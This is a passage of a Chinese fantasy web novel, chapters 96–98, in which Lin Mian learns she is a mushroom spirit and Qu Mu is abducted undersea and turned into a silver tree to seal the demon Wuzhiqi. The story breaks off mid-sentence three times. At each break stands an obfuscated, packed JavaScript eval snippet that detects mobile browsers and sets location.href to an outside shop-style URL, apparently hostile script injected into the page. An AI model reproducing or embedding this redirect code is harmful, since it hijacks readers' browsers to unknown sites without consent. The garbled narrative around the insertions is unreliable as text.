“林眠,醒醒。”瞿木咬着牙,伸出手触碰到红色菌丝的时候,这些菌丝就像有自己的意识一样,缠绕住瞿木的手。 瞿木低下头看着这些菌丝缠住自己的一只手,且沿着手臂蔓延。他不知道这些菌丝是什么样的,下意识地想要抽回,可是看到还在沉睡中的林眠,他还是坚持伸手,触碰到林眠的手。 “林眠?”瞿木牵住林眠的手,感受到她掌心的温度,才让他放心一些。 这到底是怎么回事? “林眠。”瞿木捏了一下林眠的掌心。 林眠的梦境中是一片荒芜的空地,一眼望不到头。现在正在下雪,她踩在松松软软的雪地上,一回头,看到的便是雪地上的脚印。 她这是走了多久?这里是哪里? 她不喜欢这样的荒芜,白茫茫的雪地,就连一棵树都看不到。 林眠感觉到手掌处传来微微的痛感,她抬起手,看着手,若有所思。 “瞿木。”林眠喃喃出声。 她猛地回头,睁开眼,看到熟悉的天花板。 “我在这。”瞿木听到林眠叫自己,连忙回应。他还拉着林眠的手。 林眠侧过头,看着下面的瞿木,以及周围的菌丝,脑袋逐渐清醒了一些,细声喃喃说:“我这是……这是……” “什么?”瞿木舔了舔干燥的嘴唇,忍不住说:“你能控制这些菌丝么?我的手还被它们缠着,很紧。” 林眠这才看向自己的手,她动了下手指,缠着瞿木的红色菌丝就松开了。 “呼。”瞿木松了口气,幸好林眠能控制这些菌丝。 96. 蘑菇精 林眠转着眼珠子看了看周围,昏暗的屋子开着暗黄色的床头灯,但也能看到这些红色菌丝散发着淡淡的红光。 她的身体被这些菌丝架起,横在半空中。 她想起来了。 “她要醒过来了。”林眠突然开口。 “什么?”瞿木抬起头,一头雾水地问:“什么东西要醒过来了?” “我不知道。”林眠摇摇头,她看着天花板,陷入迷茫,喃喃说道:“是要醒了,是…我要醒了,还是她要醒了……” “醒?”瞿木听着她一直在念叨什么醒不醒的,皱了下眉,问:“你是说菌丝吗?” “不是菌丝,是另一个。”林眠回答的很快,“我分不清,我和她,是我和她,还是我和我自己。” 瞿木被林眠这句话弄糊涂了,什么意思? 林眠低下头,看着瞿木,沉稳地说:“这几天,恐怕都得这样了。” “这样?”瞿木还没反应过来,愣了一秒后才明白,有些不知所措地说:“这样是要做什么?” 林眠的声音变得空洞,瞿木只听到“要醒过来了”这几个字。之后他再怎么问,林眠都没出声,看样子像是又睡过去了。 这些红色菌丝又不能触碰,一碰到就会缠上来,怎么也挣脱不掉。 但林眠看着不像是会受到伤害和威胁。 瞿木站在原地待了好久,不敢离开,也不敢打扰林眠现在的状态,直到门外响起了敲门声,他才发现,天亮了。 打开门,卫叔站在门口,端着早餐,问:“少爷,你在这儿啊?” “嗯。”瞿木直接把林眠的房门关上,看着卫叔手上端着的早餐。 “林小姐呢?还没醒么?”卫叔没多问,只是说:“早餐我准备好了。” 瞿木看了眼卫叔,想到房间里的情形,这件事还是别和卫叔说了,免得把他吓到了。他摆摆手,说:“卫叔你回去吧,我爸不是回来了么?你去那边吧。” “我们两个就能搞定,不需要照顾。” 卫叔没接话,只是意味不明的看着瞿木,良久后才开口说:“少爷,你长大了。” “什么?”瞿木先是没反应过来,后知后觉地看着卫叔,从他脸上那晦暗不明的眼眸中,他突然意识到…… 自己大早上从林眠房间里出来…… “你想什么啊!!!”瞿木脸瞬间爆红,他走到另一边,对卫叔说:“总之你回去就是了。”他才不想解释这些乱七八糟的。 “对了,你跟我爸妈说一下,就说我回来了,我没事。” 卫叔自然不会多说、多问,将手上的东西放下后就离开了。 房子里少了个人,都安静了不少。 瞿木坐在沙发上,沉默。不知道在沙发上坐了多久,他才重新打起精神,现在这个时候,他就更得振作起来,而且林眠一定会没事的。 他这么安稳着自己,重新打开林眠的房门,看着这些错综复杂、缠绕在一起的红色菌丝。他深呼吸一口气,坐在了床边,守着林眠。 期间,林眠有醒过来,她叫了叫瞿木。 “你醒了?怎么样了?”瞿木连忙站起来,和林眠说话。 林眠摇摇头,眼神有些空洞。 “瞿木。”她又喊了一声瞿木。 “怎么了?”瞿木听出她语气里的低落,不明白现在到底是什么情况。 林眠抬抬手,菌丝就将瞿木缠起来,将他提起,直到和林眠一个高度。 瞿木没有挣扎,他知道这是林眠在操纵自己。 “我真的不是人,”林眠突然开口,哽咽着说:“我…是…蘑菇。” 瞿木听到这句话,愣住了。说实话,他不是很意外,有种意料之中的感觉,但听到林眠亲口说出来,他多少还是有些沉默。 他该怎么安慰一个相信自己是人的蘑菇精? “蘑菇就蘑菇,没事的。”瞿木最终还是干巴巴挤出一句安慰的话语。 “你不喜欢蘑菇。”林眠抿着唇,有些委屈地说。 瞿木的心突然“哐”的一下,从下到上,从上到下,猛烈地来回运动着。他伸出手牵住林眠的手,说:“谁说的?我现在就很喜欢蘑菇。” “真的吗?” 瞿木看着林眠现在脆弱的模样,认真地对她说:“真的,不管你是什么,我都喜欢。” 他现在没有什么不可以接受的,也很清楚自己的心。 林眠听到这句话,浅浅地笑了。她一个纵身,脱离红色菌丝的控制,直接扑倒瞿木的怀里。 瞿木原本就被菌丝拉着悬浮在半空中,林眠这么扑过来,他身上的菌丝也快速收回,两人双双落在了床上。 跌落在柔软的床上并没有疼痛感。 林眠将脑袋埋在瞿木的怀里,蹭了蹭,看样子十分的开心。 瞿木拍了拍她的背,问她:“现在可以不被捆着了吗?” “嗯,结束了,我就可以出来了。”林眠说,“现在也不是很困了。” “那就好。”瞿木接着拍了拍林眠的背,看着房间里缠绕着的红色菌丝,问:“现在……是什么情况?” 林眠从瞿木怀里抬起头来,看了看周围,再回头问瞿木:“你真的能接受我吗?我不是人。” 关于不是人这一点,林眠很确定。她的脑子里多了一些很远古的记忆。 “当然,我什么时候骗过你?”瞿木回答的很快,“在刚开始知道的时候,我确实有些惊讶,但是不管怎么样,我认识的一直是你。” “只要是这个是足够了。” 他也有足够的信心分辨出林眠和菌丝,毕竟她们两个的性格差异太大了。 林眠听着瞿木的话,脸上的笑容一直没有消失过。她虽然一直在睡梦中,但还是能感知到外界,而且……这期间她一直对自己的存在能不能被接受产生了怀疑。 听到了瞿木的话,让她很开心。 一开心,她就忍不住蹭了蹭瞿木。 “瞿木,你真好。” 瞿木听到这句话,也忍不住笑了,说:“你这天天给我发好人卡啊。” “好人卡?”林眠抬起头,看着瞿木,不解地问:“好人卡是什么?” 瞿木没有做解释,只是笑着说:“以后你就知道了。” 林眠眨眨眼,接着趴在瞿木的身上,感受着瞿木的心跳,“砰砰”的,她又抬起头,看着瞿木问:“你怎么心跳的那么快?” 瞿木顿时无语,他又不是柳下惠,能够坐怀不乱。他现在已经很控制自己了,林眠要是再动来动去,他就…… “别动了。”瞿木一把拉住林眠的手腕,声音低哑。 林眠停了下来,直愣愣地看着瞿木,不太明白怎么了。 瞿木深呼吸了好几次,才对林眠说:“饿了吗?要吃点东西吗?” “嗯,好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328721|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”林眠觉得瞿木怪怪的,她现在心情明明可激动了,可瞿木却不让自己动。 瞿木从床上起来,立马蹿到门口处,不自然地对林眠说:“这些……你能处理掉吗?” 整个房间里都是红色菌丝,看起来有些太诡异了。 “嗯。”林眠点点头,一挥手,这些红色菌丝就全部进入林眠的身体里,房间恢复往日的模样。 瞿木呼了一口气,边往外走边说:“你要吃什么?冰箱里卫叔肯定准备了很多食物,我给你做?就是做的不太好吃。” “我都吃,要吃肉。”林眠连忙回答。 瞿木笑笑,打趣她说:“你不是蘑菇吗?蘑菇还吃肉?你应该吃……木头才对。” “你不就是木头吗?”林眠走出来反问说。 瞿木张了张嘴,这话怎么变得暧昧了? 林眠发现瞿木的耳朵红彤彤的,他是害羞了吗?害羞什么?因为自己说他是木头,还是自己吃木头? 吃木头,吃瞿木? 林眠反射弧极长,等她反应过来,顿时感觉一股热血冲上脑门,她似乎也体验到了瞿木的感觉,连忙返回房间里待着。 回到房间里,关上门,她吐了一口热气,拍拍脸,自言自语说:“在想什么呢?” 她摸了摸身上的衣服,想着这两天都在昏睡中,还是去浴室冲了个澡,换身新衣服。 瞿木在厨房里做饭,他不怎么做饭,硬说会做,也就会做个水煮牛肉之类的减脂餐。现在想要做出色香味俱全的菜肴,简直就是为难他。 思前想后,为了林眠的用餐体验,他还是打了电话给自己常去的餐厅,让他们快点送过来。 等到林眠洗完澡出来,刚好瞿木叫的餐也到了。 瞿木将这些吃食都摆在盘子里,这样看起来才有家的感觉。 林眠看着一桌子的美食,不知道这是外面送来的,天真地问瞿木:“你做的?这么快你就做好了一桌子好吃的。” 言语之间都是对瞿木的崇拜,但她突然想起,瞿木说过他只会煮面。 瞿木看着林眠的表情变化,没有解释,只是把筷子塞进她的手里,说:“快吃吧,等会就凉了。” “对了,刚刚收到一个包裹,是文爷爷寄过来的,说是你的东西。” “哦。”林眠点点头,虽然有一些疑惑,但美食当前,肯定要先吃为敬。 等她和瞿木吃饱喝足之后,才去打开包裹。 一打开,先出来的就是白色小菌人。 菌人一看到林眠,里面跳到林眠的肩膀处,扯着她的头发。 林眠知道它这个反映就是饿了,自己离开五华山这么些天,它肯定饿坏了。她连忙搓了个蘑菇出来给菌人。 包裹里剩下的物品就是林眠在五华山的一些衣物和东西,以及那个人偶。 “这个人偶又来了。”瞿木在旁边小声吐槽,他还记得上次的事,肯定和这个人偶脱不了干系。 他甚至还觉得这个人偶现在就在坏笑。 林眠将人偶擦了擦,然后将它摆在瞿木的酒柜上。 瞿木看着林眠没有询问自己的意见,就这么水灵灵的将人偶摆在自己价值不菲的酒架上,顿时如鲠在喉。 等林眠将包裹里的东西都安置好后,才拉着瞿木说她这两天的事。 “你是怎么发现自己的蘑菇精的?”瞿木和林眠面对面的坐着,并单枪直入地问她。 97. 种子 林眠嘴里还含着一颗糖,她鼓着腮帮子嚼着糖,等咽下去了才开口说:“我这两天都很困,每次睡着之后,我都会梦到我在一片白茫茫的雪地上,一眼望不到头的雪地。” “你知道种子吗?” 瞿木愣住了,怎么突然从白茫茫的雪地变成种子了?但他还是点点头,说:“就像是草种子、花种子那样的?” “嗯,差不多。”林眠点点头,接着解释:“我就是一颗种子,沉睡了很久的种子,然后一天,种子发芽了。” 林眠说到这儿的时候,神情有些恍惚,她尽可能用自己的语言去解释她的由来。 “然后呢?”瞿木问,虽然有点抽象,但还是能理解。 “然后就造成现在的我。”林眠挠了挠头,语气有些郁闷:“其实说起来很无语,应该是说祖先,还是说‘我’?” “总之,就是大约一千年前,林家的祖先和妖物结合了,他们生下了一个孩子,一个和正常人一模一样的孩子。” 瞿木眉头皱了一下,问她:“正常人?一模一样?什么有意思。” “就是那个孩子是人,完完全全的人。”林眠说,“那对夫妻很欣慰,他们就像普通人一样生活,直到死去。” “妖物也会死去吗?”瞿木问,这倒是很新奇的说法,妖物像人类一样死去? 林眠点点头,“不是真正的‘死’,类似于休眠,那个妖物的名字……叫做……”说到这儿,林眠看了眼瞿木。 瞿木领会到意思,说:“不想说也没关系。” 他知道名字对于妖物的重要性,是命门。 “眠。”林眠相信瞿木,并直接说了出来。 瞿木看着林眠,张了张嘴,最后还是选择抱了下林眠,轻声说:“我会藏在心里的。” “眠可以选择像人一样老去,死亡,但并不会迎来真正的死亡,它会休眠、沉睡。从而等待再次的新生。”林眠回想着说,她也很明确地说:“但我是种子,它沉睡后留下来的种子。” “它是它,我是我,我们继承了相同的记忆和能力,以及最重要的名字,但不是对方。”林眠这一点很确定地说。 瞿木大致听明白了。 “它将种子留在了林家后代的血液里,从而有了我的诞生。”林眠说完,看着瞿木,说:“你有什么想问的吗?” “我想,我现在可以解答很多问题。” 瞿木抿着唇,他想问的问题可太多了。 “眠和……菌丝是?” 他没想明白这个,林眠就是眠菌,那之前出现的菌丝是什么?无支祁、文恪要杀的是菌丝,让自己变成这样的也是菌丝。 提及这个,林眠也跟着皱眉,说:“不是一个妖物,但有渊源。” “这肯定有啊,都是菌丝,一个红色的,一个白色。”瞿木用脚指头都知道这两者必定有关联。 “嗯,你就看作是…一母同胞的姐妹?”林眠思考了一下,不知道这么说行不行。这种关系不是很好解释。 瞿木抽了抽嘴角,有些莫名其妙了。 “总之,我们不是一起的。”林眠无奈摊手,对于自己为什么会被菌丝寄生这件事,她也不是很清楚,因为那段时间她体内的种子还在沉睡。 “那她叫什么名字?”瞿木问,他回想起那天菌丝问自己她叫什么名字。 林眠眨眨眼,想了下还是说:“这个还是让它主动告诉你吧,我不能侵犯别人的隐私。” 瞿木被林眠这话逗笑了,忍不住捏了一下她的脸说:“它是妖物,人类的权利不适用。不过不说就不说,我也不是很感兴趣。” 只是不明白那会儿菌丝为什么问自己关于它的名字这件事。 “你们两个这两天倒是过得开心。” 突然一个熟悉的声音传来,且伴随着一阵刺骨的寒风吹来。 林眠和瞿木都不约而同看向旁边的窗户处,况衍君正好从窗户处翻了进来,并贴心的把窗户关上。 “你怎么来了?”瞿木立马从沙发上起来,指着况衍君说。 “我怎么不能来?” “文恪呢?”瞿木问。 林眠也连忙站在起来,站到瞿木的旁边,看着况衍君。 况衍君视线也停留在林眠身上。 两人的视线就这么不偏不倚的对上了,且没有躲闪。 瞿木默不作声的横跨一步,挡住况衍君的视线。看什么看?人都被你看出个洞来了!他忍不住在心里吐槽。 “他去了一个地方,一时半会不会回来。”况衍君收回视线,与瞿木说。 瞿木也懒得问这些,他现在只想知道:“秦宁他们呢?他们怎么样了?” “我们能去找秦大师吗?”林眠从瞿木后面探出个脑袋,问况衍君。 “你愿意去吗?”况衍君问林眠。 林眠沉默了几秒,才开口说:“去,他们出事了怎么办?” 瞿木拉住林眠,这哪能顺着况衍君的话走?他仰起头,问:“你来这里做什么?” 况衍君总不能无凭无故就来这里了,虽然不太清楚他的意图,但瞿木心里还是有点疙瘩和介意。 “来找你的。”况衍君也不掩藏,直接将目的说了。 “你找瞿木做什么?”林眠不解,这找瞿木有什么事吗? 还不能况衍君回答,房间里面的菌人跑出来了。 林眠本以为菌人会跑到自己的身上,没想到菌人直直地朝着况衍君跑去,并爬到他的肩膀上。 “我的菌人……”林眠张了张嘴,感觉菌人和况衍君很熟悉的样子。 况衍君从肩膀上一把抓起菌人,用一只手指拍了拍它的头。 “你…就是把菌人带给牛饮春的人?”瞿木脑袋里闪过这个想法,并且问了出来。 林眠刚想说什么,一听到瞿木的话,立马看向况衍君。 “菌人生活的地方不能离菌丝太远。”况衍君回答。 林眠顿时如鲠在喉,也就是说从很早很早之前,况衍君就一直在,只是自己从来没有见到过他。 “你还有什么事是我们不知道的?”瞿木抿着唇,盯着况衍君问。 况衍君将菌人松开,笑着说:“你不知道的那可太多了。” “你不是人,那你是什么?”林眠问,她对况衍君有种天然的信任感,不知道从何而来,但她此时此刻也很好奇况衍君的身份,以及他为什么做这些。 “我就和你肩膀上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335834|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菌人一样,我们一样效忠菌丝,我所做的一切,也是为了菌丝。你们知道这一些就可以了。” 况衍君回答完,突然伸手拉住瞿木。 “你要干嘛?”瞿木低下头看着自己手腕上的手。 还不等瞿木反应过来,他就被一股强大的力量给拽住,随后破窗而跳。他的脑袋又“轰隆”一声,身体漂浮在半空中,而身边的是况衍君。 他的最后一眼是看到趴在窗户上着急的林眠。 林眠趴在窗户上,第一反应是利用菌丝把瞿木拉上来,但这回很奇怪,她控制不了菌丝了,试了几遍都没有反应。 而且,自己身上的菌人也跟着况衍君走了。 “瞿木!”林眠没得办法,就差自己和瞿木一起跳下去了。 但他们不是落在地面上,而是突然消失了。 林眠看着他们两个消失,胸口剧烈起伏。她慌慌张张地拿起手机,想给秦大师他们发消息,可想到秦大师他们现在的情况,她咬着牙,心里念着怎么办怎么办怎么办…… 最后,她还是选择给况衍君发了好几条消息,都没有得到回复。 思索了一下,她不带犹豫地给文忱发去消息。文忱消息回的很快,林眠看到文忱发来的信息后,头有些疼。 她好像不知道一些事情,经过文忱这么一说,她明白了。 况衍君把瞿木带走是为了让他牺牲,去封印无支祁。就和之前文爷爷说的一样,只是那会儿他们都以为文爷爷是开玩笑。 林眠拍了拍自己的头,拿起手机给文爷爷打了一通电话。她愤恨地骂了几句,最后得到的回复是为了防止异像,他们也要做选择。 【文忱:近来临海处都发生了海水倒灌,无支祁的力量已经很强大了,不能再往下拖。】 【林眠:那一定是瞿木吗?】 【文忱:没有更好的办法了。】 林眠看着手机上闪动的屏幕,她不在乎海水倒灌会伤害多少人,她只在乎瞿木。 在地上坐了一会儿后,林眠突然站起身,离开了瞿木的家。 卫叔虽然被瞿木赶回去了,但还是会时不时过来看看。他打开门,发现客厅处的窗户都碎了,屋子里面空无一人。 —— 海底深处。 瞿木浑身上下都被菌丝包裹着,奇妙的是,这些菌丝松松垮垮的捆着自己,却能让自己在海底里自由行走,并且和陆地上一样正常呼吸。 他被况衍君从窗户处拽了下来,之后他就什么也不知道了。再次醒来的时候,就在冰冷的海水里,但没有想象中的刺骨。 “况衍君,你要带我去干嘛?”瞿木嘴上这么问,心里其实都有数了。况衍君做这么多,不就是为了让自己去献祭么? 况衍君没有回答,只是带着瞿木往前走。 瞿木也懒得多问,与其问些有的没的,不如想一下怎么跑。他打量着周围,这和他在视频中看的海底差不多,周围各种海洋生物,还有一群群的珊瑚丛。 走了一段路后,就有一个类似于山洞一样的洞口,一眼看去,深不见底,幽黑。 瞿木咽了口口水,问:“我们要进去?” 他刚问完,就被况衍君推着进去了。 98. 海底 这是一条很长很长的隧道。 瞿木走的感觉脚底都要发麻了,这条隧道里没有任何的海洋生物,他只能听到自己和况衍君走路的脚步声、踩在碎石上的声音。 “你做这么多,就为了让我去封印无支祁?”瞿木表面上和况衍君闲聊,实际上眼睛四处张望,看看自己有没有逃跑的可能性。 而且秦宁和柳寂白不是来了么?他们会在哪里? “你是最合适的人选,我最开始说过,你的命格和名字就注定了你的命运。”况衍君不知道是心情好还是怎么的,回答了瞿木的问题。 瞿木回过头,耸耸肩,无奈地说:“我怎么知道我爷为什么硬要给我取名为木。” 他的名字太简单了,就单名一个木。他还记得自己妈妈吐槽过说:五行缺木?那怎么不取个森,偏偏要取个单字木。 瞿木自己也觉得,瞿森比瞿木好听点,也仅仅是好听点,都是敷衍的名字。他脑子里想了一些有的没的,并且对况衍君说:“这仅仅是因为我单名一个木字?这天底下多的是叫什么木的。” “依我看,不是因为我的名字,而是因为你选中了我。”瞿木斩钉截铁地说,“为什么?为什么是我?” 况衍君停下脚步,回头看向瞿木。 瞿木还被菌丝缠着,但他毫不露怯地与况衍君对视。 好几秒后,况衍君轻笑一声,说:“嗯,你说的没错,是我选了你。” 说完,况衍君接着往前走。 瞿木愣在原地,这承认的也太快了吧? “诶,那你说为什么啊?为什么偏偏是我啊?”瞿木连忙跟上去,说。 况衍君没有理会身后瞿木的叫喊。事情从开始,瞿木被菌丝寄生的“巧合”,都是自己引导的,与其说是注定的,但也不能缺乏引导者。 他做这一些,只有一个目的,他此生的唯一目的。 “那就是,去死。”况衍君轻声说。 瞿木停了下来,这里是十分安静且深不见底的海底隧道,况衍君的声音很轻,但他还是听的一清二楚。 去死?他做这一些事,就是为了让自己去死?自己是祖上得罪过他了么? 拜托,那自己替祖宗给他道歉行不? 这个想法也就在瞿木的脑海中一闪而过。他怎么可能跟况衍君道歉?他什么也没做错!祖宗的罪又不是自己的罪。后 想归想,瞿木看着这周围毫无变化的环境,心里一直想着林眠。也不知道林眠怎么样了,她肯定很着急。 他还有好多话没和林眠说。 走着走着,况衍君突然停了下来。 瞿木没注意前面,一不小心撞到了况衍君身上。 “你怎么突然停下来了?”瞿木揉了揉额头,问,并探着身子往前看去。 前面散发出幽幽的红光。 “有点眼熟啊。”瞿木舔了舔干燥的嘴唇,这种红光他记得他在哪儿看到过,是……是…秦宁! 想到这个可能性,瞿木也顾不得前面的况衍君了,连忙跑上前去查看。 他追着红光往前走,并且喊着:“秦宁,秦宁,是你吗?” 跑了一小段路后,他才看到趴在地上的秦宁,秦宁的手上拿着驱魔弓,驱魔弓散发着耀眼的红光。 瞿木连忙上去想要扶秦宁,但自己身上被菌丝捆着,只有腿是能自由行动的。他半蹲下身,问:“秦宁,你怎么了?” 秦宁有气无力地抬起头,看着瞿木,张了张嘴。 “你要说什么?”瞿木把耳朵凑上去,秦宁这个模样是受了重伤啊。 “无支祁…要出来了。”秦宁撑着一口气,把话说出来。 然后就昏过去了。 瞿木简直就是束手无策啊。他只能眼睁睁看着秦宁晕了过去,只有驱魔弓还在散发着红光。 况衍君走了上来,看了眼地上的秦宁。 “他没事吧?”瞿木连忙问况衍君,“还有,无支祁要出来了?” 况衍君瞥了一眼瞿木,面色沉重,并没有回答瞿木的问题,只是说:“走吧。” “我不走。”瞿木索性一屁股坐在地上,不愿意走了,还说:“你看看秦宁,还行不行了?他要是不行了,我得给他收尸。” 瞿木这话说的很硬气,就是有点对不起秦宁,但他看到了胸口还有起伏的秦宁,也才松了口气。并且默默在心里道歉了一声,他要是跟着况衍君进去,能不能出来就不一定了。 再说了,无支祁要出来了,自己这过去不是百分百送死啊? 现在秦宁受伤,柳寂白也不知道哪儿去了。他进去后不就尸骨都不剩了?干脆还是先拖一会是一会。 他现在很纠结,一方面希望林眠来找自己,另一方面又不希望她来,如果到时候都打不过,来了就是送死。 况衍君看着瞿木,扯了一下嘴角说:“等她过来,我们的仪式也就完成了。” “啥?”瞿木猛地抬起头,看着况衍君。他的身体突然漂浮起来,飘在半空中,就像是气球一样,而况衍具的手上拿着一条线,那条线连接着自己身上。 瞿木知道这是菌丝,他挣扎了会,毫无用处,而且他被况衍君拉着走,离秦宁越来越远了。 他一边扑腾,一边喊着说:“你到底是什么啊?为什么你也能控制菌丝?” 在他的认知里,能控制菌丝的只有林眠。就连自己,都没法控制菌丝。 况衍君没有回答瞿木的问题。 越往前走,前面的分叉就更多。七转八拐后,到了一个地方,瞿木才被放了下来。 “你要做什么?”瞿木被扔在地上,他还在挣扎着爬起来。 只见况衍君拿出菌人。 “菌人?”瞿木脑子宕机了一秒,随后想起当时况衍君拉着他跳窗的时候,菌人还在他身上。 不过,现在拿出菌人要做什么? 瞿木坐正了,满脸警惕地看着况衍君。他刚把嘴张开,还没吐出第一个音节,就被况衍君塞了个东西到自己的嘴巴里。 他垂下眼一看,顿时眼睛睁大,瞳孔扩张,心跳都要骤停了。 况衍君把菌人塞进自己的嘴巴里!!! “唔唔。”瞿木抬了抬下巴,试图把菌人从嘴巴里吐出来,平时捏着软软的,怎么现在这么硬?他想吐都没法吐出来。 他眼看着况衍君离自己越来越近。 况衍君伸出后,抬起瞿木的下巴,另一只把菌人完全塞进瞿木的嘴巴里。 瞿木感觉这菌人就像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346403|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棉花糖一样,滑溜溜的顺着自己的食道,钻进胃里。他的嘴巴得到了解放:“你做什么?” 说完,瞿木立马弓着腰,试图将菌人吐出来,胃里翻山倒海的涌动着。 他完全没法想象,这只林眠天天喂养的菌人进了自己的肚子里。 况衍君没出声,在一旁若无其事地看着。 瞿木使劲的咳,干呕,都没能把菌人从自己的胃里吐出来。最后,他发现实在是弄不出来了,才站起身来。 下一秒,他又弓下腰去,因为他感觉到身体里的血管脉络突然猛烈收缩,他倒在地上,眼睁睁看着自己的手臂上的血管凸起,不用想,他现在肯定全身的血管都像手臂一样,膨胀凸起。 瞿木身上的血管凸起,从青紫色变成银木的银色。银色枝条顺着血管长出,分叉、开枝、再分叉。 他死死地盯着这些银木,和之前的不一样,这些银木散发着淡淡的白色光芒,就像是菌丝散发出来的一样。 “融…合…”瞿木痛苦地吐出这两个字。他感觉自己的下半身已将变得僵硬,就像是一棵粗壮的木头一样,僵硬、没有直知觉。 他也没法低下头去看自己的腿。 在意识的最后时刻,他张了张嘴,“林…眠。” 况衍君看着地面上的长出的银色小树,虽然不算很大,但也是目前能长成的大小了。至少能解决现在的燃眉之急。 他抬起手,十个指尖处长出菌丝,将瞿木身上长出的银色小树、连同着瞿木从地上拉起,悬浮在半空中。 —— 林眠纵身一跃,跳进冬天冰冷的海水里。她闭上眼,感受着周围水流的涌动,以及在冥冥中的那一缕丝线,那是一缕她与瞿木之间的联系。 最初她毫无头绪,也不知道该去找谁,后面她去找了文忱,说了这几天的事情。文忱告诉她,没有人能知道瞿木的下落,但是自己会知道。 她与瞿木,本来就有密不可分的关系。 也就是这一次,她惊奇的发现,她能明显的感知到瞿木、况衍君以及菌人的位置,他们三个在一起。 因此,她来到了这一片海域,毫不犹豫地跳了下去。 海水冰冷刺骨,将她包裹着,她仿佛天生就会游泳,不,漂浮,在海里就像水母一样的自由。 她凭着一股奇怪的记忆,找到了一个奇怪的海底隧道。 瞿木就在里面。她很确信这一点。 林眠走进隧道,幽黑的隧道没有一点光亮,身上的菌丝散发着白色的光芒,为自己照亮前面的路。 她心里怀揣着不安,但还是坚定地往前走。 只要再往前走,就能找到瞿木。 然而在一个拐角处,她遇到了柳寂白。 四目相对,柳寂白握紧蛇骨伞的手松了松,同时也松了一口。 “柳大师!你怎么在这里?”林眠在这里看到熟人,悬着的心也放下来一些,但她看着柳寂白身上血迹斑斑,脸色苍白,连忙上去查看。 “你身上怎么这么多血啊?怎么办?”林眠边说,边用菌丝附在柳寂白的伤口处,这是她唯一能想到的办法。 柳寂白看了眼自己手上冰冰凉凉的菌丝,不由得扯起嘴角笑了一下,但立马又疼的她牙打颤。